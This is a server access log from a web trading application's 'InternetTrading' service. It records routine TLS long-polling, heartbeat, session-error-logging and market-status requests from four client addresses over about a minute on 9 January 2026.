[09/Jan/2026:12:19:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932663152 HTTP/1.1" -
[09/Jan/2026:12:19:55 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932662640 HTTP/1.1" -
[09/Jan/2026:12:19:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:19:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:19:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932665711 HTTP/1.1" -
[09/Jan/2026:12:19:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932667353 HTTP/1.1" -
[09/Jan/2026:12:19:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932668330 HTTP/1.1" -
[09/Jan/2026:12:20:00 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932667706 HTTP/1.1" -
[09/Jan/2026:12:20:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932670738 HTTP/1.1" -
[09/Jan/2026:12:20:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932672492 HTTP/1.1" -
[09/Jan/2026:12:20:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932673577 HTTP/1.1" -
[09/Jan/2026:12:20:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932672758 HTTP/1.1" -
[09/Jan/2026:12:20:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932675770 HTTP/1.1" -
[09/Jan/2026:12:20:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932677638 HTTP/1.1" -
[09/Jan/2026:12:20:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932678789 HTTP/1.1" -
[09/Jan/2026:12:20:10 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932677818 HTTP/1.1" -
[09/Jan/2026:12:20:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932680806 HTTP/1.1" -
[09/Jan/2026:12:20:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932682788 HTTP/1.1" -
[09/Jan/2026:12:20:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932683915 HTTP/1.1" -
[09/Jan/2026:12:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:15 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932682868 HTTP/1.1" -
[09/Jan/2026:12:20:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932685836 HTTP/1.1" -
[09/Jan/2026:12:20:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932687908 HTTP/1.1" -
[09/Jan/2026:12:20:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932689129 HTTP/1.1" -
[09/Jan/2026:12:20:20 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932687924 HTTP/1.1" -
[09/Jan/2026:12:20:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932690882 HTTP/1.1" -
[09/Jan/2026:12:20:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932692950 HTTP/1.1" -
[09/Jan/2026:12:20:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932694359 HTTP/1.1" -
[09/Jan/2026:12:20:25 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932692965 HTTP/1.1" -
[09/Jan/2026:12:20:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932695915 HTTP/1.1" -
[09/Jan/2026:12:20:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932698019 HTTP/1.1" -
[09/Jan/2026:12:20:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932699568 HTTP/1.1" -
[09/Jan/2026:12:20:30 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932698027 HTTP/1.1" -
[09/Jan/2026:12:20:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932700938 HTTP/1.1" -
[09/Jan/2026:12:20:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932703182 HTTP/1.1" -
[09/Jan/2026:12:20:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932703085 HTTP/1.1" -
[09/Jan/2026:12:20:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932704879 HTTP/1.1" -
[09/Jan/2026:12:20:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932705975 HTTP/1.1" -
[09/Jan/2026:12:20:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932708345 HTTP/1.1" -
[09/Jan/2026:12:20:41 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932708155 HTTP/1.1" -
[09/Jan/2026:12:20:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932710086 HTTP/1.1" -
[09/Jan/2026:12:20:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932711021 HTTP/1.1" -
[09/Jan/2026:12:20:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932713464 HTTP/1.1" -
[09/Jan/2026:12:20:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:46 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932713219 HTTP/1.1" -
[09/Jan/2026:12:20:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932715170 HTTP/1.1" -
[09/Jan/2026:12:20:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932716065 HTTP/1.1" -
[09/Jan/2026:12:20:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:47 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:20:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932718615 HTTP/1.1" -
[09/Jan/2026:12:20:51 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932718281 HTTP/1.1" -
[09/Jan/2026:12:20:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932720376 HTTP/1.1" -
[09/Jan/2026:12:20:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932721112 HTTP/1.1" -
[09/Jan/2026:12:20:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932723661 HTTP/1.1" -
[09/Jan/2026:12:20:56 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932723317 HTTP/1.1" -
[09/Jan/2026:12:20:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:20:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:20:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932725648 HTTP/1.1" -
[09/Jan/2026:12:20:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932726142 HTTP/1.1" -
[09/Jan/2026:12:20:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932728712 HTTP/1.1" -
[09/Jan/2026:12:21:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932728369 HTTP/1.1" -
[09/Jan/2026:12:21:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932731168 HTTP/1.1" -
[09/Jan/2026:12:21:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932730762 HTTP/1.1" -
[09/Jan/2026:12:21:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932733837 HTTP/1.1" -
[09/Jan/2026:12:21:06 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932733414 HTTP/1.1" -
[09/Jan/2026:12:21:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932736209 HTTP/1.1" -
